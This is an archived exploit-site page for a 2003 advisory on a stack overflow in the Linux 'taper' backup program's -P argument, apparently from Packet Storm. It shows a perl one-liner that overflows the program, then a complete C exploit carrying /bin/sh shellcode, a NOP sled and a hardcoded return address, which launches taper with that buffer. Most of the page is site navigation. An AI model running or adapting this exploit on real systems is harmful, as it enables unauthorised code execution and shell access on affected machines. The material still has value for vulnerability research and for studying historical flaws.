exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

taper.txt

taper.txt
Posted Oct 30, 2003
Authored by Polygrithm | Site geekz.nl

The taper program in Redhat 7.3 contains a stack overflow. Note that taper is not setuid.

tags | exploit, overflow
systems | linux, redhat
SHA-256 | 89a935c740c96748fa0a62389876ff938ee1fb09b87005b568f271a93db7ee97

taper.txt

Change Mirror Download


HI,
There is a stack overflow vulnerability in taper program of linux
7.3 (may be others)..
On linux 7.3 its not suid by default. But i dont know about other distro/ver
. may be its
suid on others..

Advisory:

------------------------------------------------------------------------------------------------------------------------------
gEEkz-advisory
NrAziz(c) 2003
nraziz_at_geekz_nl
polygrithm_at_hotmail
http://geekz.nl

--{0x01 Introduction:

Taper is a user friendly archive program especially designed
for backing up to tape drives. It also supports backing up to files
on a hard disk.

--{0x02 Vulnerability:

taper has a vulnerability in its argument to -P .By giving a large
string it overwrites the eip..
e.g taper `perl -e 'print "A" x 2708'` over writes the eip. It may have
other possible vulnerabilites because
of the usage of many strcpy's. Taper by default is none-suid on Linux
7.3,However if its suid
on any other distro/ver please let me know then..

--{0x03 Greetz:

To gEEkz team,rave,gorny,and other m8s

------------------------------------------------------------------------------------------------------------------------------

Exploit:

------------------------------------------------------------------------------------------------------------------------------
/* gEEkz-taper-xploit */
/*
* Copyright(C) 2003 NrAziz
* nraziz^at^geekz^nl
*/
#include <stdio.h>
#include <stdlib.h>

/* /bin/sh */
char shellcode[]=
"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
"\x68\x2f\x62\x69\x6e\x89\xe3\x50"
"\x53\x89\xe1\x31\xd2\xb0\x0b\xcd"
"\x80\xb0\x01\x31\xdb\xcd\x80";
#define B_SIZE 2708
int main(int argc,char **argv)
{
char buffer[B_SIZE];
int i;
u_long ret=0xbffff250;

memset(buffer,0x90,B_SIZE-strlen(shellcode)-4);
buffer[B_SIZE-4]=(ret & 0x000000ff);
buffer[B_SIZE-3]=(ret & 0x0000ff00)>>8;
buffer[B_SIZE-2]=(ret & 0x00ff0000)>>16;
buffer[B_SIZE-1]=(ret & 0xff000000)>>24;
buffer[B_SIZE-0]=0;
memcpy(buffer+B_SIZE-strlen(shellcode)-4,shellcode,strlen(shellcode));

execl("/usr/sbin/taper","taper","-P",buffer,(char *)0);
return 0;
}



---------------------------------------------------------------------------------------------------------------------------------------

REgards,
NrAziz

_________________________________________________________________
Add photos to your e-mail with MSN 8. Get 2 months FREE*.
http://join.msn.com/?page=features/featuredemail

Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    16 Files
  • 26
    Apr 26th
    14 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close